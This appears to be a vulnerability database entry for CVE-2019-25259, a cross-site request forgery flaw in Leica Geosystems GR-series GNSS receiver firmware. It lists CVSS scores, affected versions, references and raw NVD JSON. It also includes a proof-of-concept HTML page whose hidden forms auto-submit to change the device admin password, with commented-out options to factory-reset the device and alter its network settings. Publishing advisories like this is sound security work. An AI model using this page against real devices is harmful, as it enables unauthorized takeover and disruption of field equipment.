CVE-2019-25259

Description

Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without request validation. Attackers can trick logged-in users into executing unauthorized actions by crafting malicious web pages that submit requests to the application.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Leica Geosystems GR10 固件 < 4.30.063

Leica Geosystems GR25 固件 < 4.30.063

Leica Geosystems GR30 固件 < 4.30.063

Leica Geosystems GR50 固件 < 4.30.063

Leica Geosystems GNSS 固件版本 4.30.063

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2019-25259 CSRF PoC - Leica Geosystems GNSS -->
<!DOCTYPE html>
<html>
<head>
    <title>Leica GNSS CSRF PoC</title>
</head>
<body>
    <h2>Malicious CSRF Page</h2>
    <p>This page demonstrates the CSRF vulnerability in Leica Geosystems GNSS devices.</p>
    
    <!-- Change Admin Password -->
    <form id="csrfForm" action="http://TARGET_IP/admin/password_change.cgi" method="POST">
        <input type="hidden" name="current_password" value="original_password">
        <input type="hidden" name="new_password" value="hacked123">
        <input type="hidden" name="confirm_password" value="hacked123">
    </form>
    
    <!-- Factory Reset -->
    <form id="resetForm" action="http://TARGET_IP/admin/reset_factory.cgi" method="POST">
        <input type="hidden" name="confirm" value="yes">
    </form>
    
    <!-- Modify Network Settings -->
    <form id="networkForm" action="http://TARGET_IP/admin/network_save.cgi" method="POST">
        <input type="hidden" name="ip_address" value="10.0.0.100">
        <input type="hidden" name="subnet_mask" value="255.255.255.0">
        <input type="hidden" name="gateway" value="10.0.0.1">
    </form>
    
    <script>
        // Auto-submit all forms
        document.getElementById('csrfForm').submit();
        // Uncomment below lines to execute additional attacks
        // document.getElementById('resetForm').submit();
        // document.getElementById('networkForm').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25259
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25259
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25259/
[4] VulDB https://vuldb.com/cve/CVE-2019-25259
[5] https://exchange.xforce.ibmcloud.com/vulnerabilities/155275
[6] https://leica-geosystems.com/en-us
[7] https://packetstormsecurity.com/files/151040
[8] https://www.exploit-db.com/exploits/46090
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2019-25259", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:57.247", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without request validation. Attackers can trick logged-in users into executing unauthorized actions by crafting malicious web pages that submit requests to the application."}, {"lang": "es", "value": "Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a los atacantes realizar acciones administrativas sin validación de petición. Los atacantes pueden engañar a los usuarios con sesión iniciada para que ejecuten acciones no autorizadas mediante la creación de páginas web maliciosas que envían peticiones a la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/155275", "source": "[email protected]"}, {"url": "https://leica-geosystems.com/en-us", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/151040", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46090", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5502.php", "source": "[email protected]"}]}}